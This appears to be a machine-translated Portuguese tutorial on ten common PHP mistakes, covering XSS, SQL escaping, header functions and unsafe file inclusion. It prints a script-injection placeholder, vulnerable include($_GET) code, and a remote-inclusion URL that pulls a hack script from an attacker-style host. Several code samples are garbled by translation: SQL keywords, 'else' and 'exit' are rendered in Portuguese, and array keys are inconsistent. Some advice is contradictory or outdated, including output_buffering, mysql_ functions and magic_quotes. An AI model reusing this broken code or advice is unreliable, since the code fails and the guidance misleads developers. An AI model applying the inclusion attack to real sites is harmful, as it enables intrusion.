PHP é uma ótima linguagem de desenvolvimento web e flexível, mas vemos alguns erros que os programadores de PHP cometem repetidamente. Fiz a seguinte lista com 10 erros comuns cometidos por programadores PHP, a maioria deles relacionados à segurança. Veja que tipo de erros você cometeu:
1. Não ignore entidades HTML
Um bom senso básico: todas as entradas não confiáveis (especialmente dados enviados pelos usuários a partir de formulários) devem ser alteradas antes da saída.
echo $_GET['nome de usuário'] ;
Este exemplo pode gerar:
<script>/*Script para alterar a senha do administrador ou definir cookie*/</script>
Este é um risco de segurança óbvio, a menos que você garanta que os usuários estão digitando corretamente.
Como consertar:
Precisamos converter "< ", ">", "and", etc. em representação HTML correta (<, >' e "). As funções htmlspecialchars e htmlentities() fazem exatamente isso.
O método correto: echo htmlspecialchars ( $_GET['username'], ENT_QUOTES);
2. Não ignore a entrada SQL. Certa vez, discuti esse problema em um artigo A maneira mais simples de prevenir a injeção de SQL (php+mysql) e me dei um método simples. eles já têm magic_quotes configurados como On no php.ini, então não precisam se preocupar com isso, mas nem todas as entradas vêm de $_GET, $_POST ou $_COOKIE
Como consertar:
Assim como na maneira mais simples de evitar injeção de sql (php+mysql), ainda recomendo
a maneira correta de usar a função mysql_real_escape_string():
<?php
$sql = “ATUALIZAR usuários CONFIGURADOS
nome='.mysql_real_escape_string($nome).'
WHERE id='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>
3. Uso incorreto de funções relacionadas ao cabeçalho HTTP: header(), session_start(), setcookie()
Você já encontrou este aviso?" aviso: Não é possível adicionar informações de cabeçalho - cabeçalhos já enviados [....]
Cada vez que uma página da web é baixada do servidor, a saída do servidor é dividida em duas partes: cabeçalhos e corpo.
O cabeçalho contém alguns dados não visuais, como cookies. A cabeça sempre chega primeiro. A parte do texto inclui HTML visual, imagens e outros dados.
Se output_buffering estiver definido como Off, todas as funções relacionadas ao cabeçalho HTTP deverão ser chamadas antes da saída. O problema é que quando você desenvolve em um ambiente e implanta em outro ambiente, as configurações de output_buffering podem ser diferentes. Como resultado, o redirecionamento foi interrompido e o cookie e a sessão não foram configurados corretamente...
Como consertar:
Certifique-se de chamar funções relacionadas ao cabeçalho http antes de gerar e defina output_buffering = Off
.
4. Exigir ou incluir arquivos usam dados inseguros. Novamente: não confie em dados que não sejam explicitamente declarados por você. Não inclua ou exija arquivos obtidos de $_GET, $_POST ou $_COOKIE.
Por exemplo:
index.php
<?
//incluindo cabeçalho, configuração, conexão de banco de dados, etc.
include($_GET['nome do arquivo']);
//incluindo rodapé
?>
Qualquer hacker agora pode usar: http://www.seudominio.com/index.php?filename=anyfile.txt
para obter suas informações confidenciais ou executar um script PHP.
Se permitir_url_fopen=On, você está morto:
Experimente esta entrada:
http://www.yourdomain.com/index… n.com%2Fphphack.php
Agora sua página da web contém a saída de http://www.youaredoomed.com/phphack.php . arquivos excluídos, etc. Qualquer coisa que você possa imaginar.
Como consertar:
Você deve controlar quais arquivos podem ser incluídos nas diretivas include ou require.
Aqui está uma solução rápida, mas não abrangente:
<?
//Inclui apenas arquivos permitidos.
$allowedFiles = array('arquivo1.txt','arquivo2.txt','arquivo3.txt');
if(in_array((string)$_GET['nome do arquivo'],$allowedFiles)) {
include($_GET['nome do arquivo']);
}
outro{
saída('não permitido');
}
?>
5. Erros gramaticais Os erros gramaticais incluem todos os erros lexicais e gramaticais que são tão comuns que tenho que listá-los aqui. A solução é estudar cuidadosamente a sintaxe do PHP e ter cuidado para não perder colchetes, chaves, ponto e vírgula ou aspas. Além disso, encontre um bom editor e não use o Bloco de Notas!
6. Poucos ou nenhum projeto orientado a objetos é usado. Muitos projetos não usam a tecnologia orientada a objetos do PHP. Como resultado, a manutenção do código torna-se muito demorada e trabalhosa. PHP suporta cada vez mais tecnologias orientadas a objetos e está cada vez melhor. Não há razão para não usarmos tecnologias orientadas a objetos.
7. Não usar framework
95% dos projetos PHP fazem as mesmas quatro coisas: criar, editar, listar e excluir. Agora, existem muitos frameworks MVC para nos ajudar a completar essas quatro coisas, por que não os usamos?
8. Não tenho conhecimento das funcionalidades já disponíveis no PHP
O núcleo do PHP contém muitas funções. Muitos programadores reinventam a roda continuamente. Muito tempo desperdiçado. Antes de codificar, pesquise PHP mamual e pesquise no google. Você poderá encontrar novas descobertas! exec() em PHP é uma função poderosa que pode executar cmd shell e retornar a última linha do resultado da execução na forma de uma string. Por motivos de segurança, você pode usar EscapeShellCmd()
9. Use uma versão mais antiga do PHP
Muitos programadores ainda usam PHP4 O desenvolvimento em PHP4 não consegue aproveitar todo o potencial do PHP e ainda existem alguns riscos de segurança. Mude para PHP5, não exige muito esforço. A maioria dos programas PHP4 podem ser migrados para PHP5 com poucas ou até nenhuma alteração nas instruções. De acordo com uma pesquisa da http://www.nexen.net, apenas 12% dos servidores PHP usam PHP5, então 88% dos desenvolvedores de PHP ainda usam PHP4.
Altere as aspas ' duas vezes. page '"? Isso geralmente ocorre porque magic_quotes está desativado no ambiente do desenvolvedor, mas magic_quotes=on no servidor implantado. O PHP executará repetidamente addlashes() nos dados em GET, POST e COOKIE.
Texto original:
É uma string com
citações mágicas em:
É uma string
Corra novamente
adiciona barras():
É uma
saída HTML de string:
É uma string
Outra situação é que o usuário insere informações de login erradas no início. Depois que o servidor detecta a entrada errada, ele gera o mesmo formulário e exige que o usuário insira novamente, fazendo com que a entrada do usuário mude duas vezes!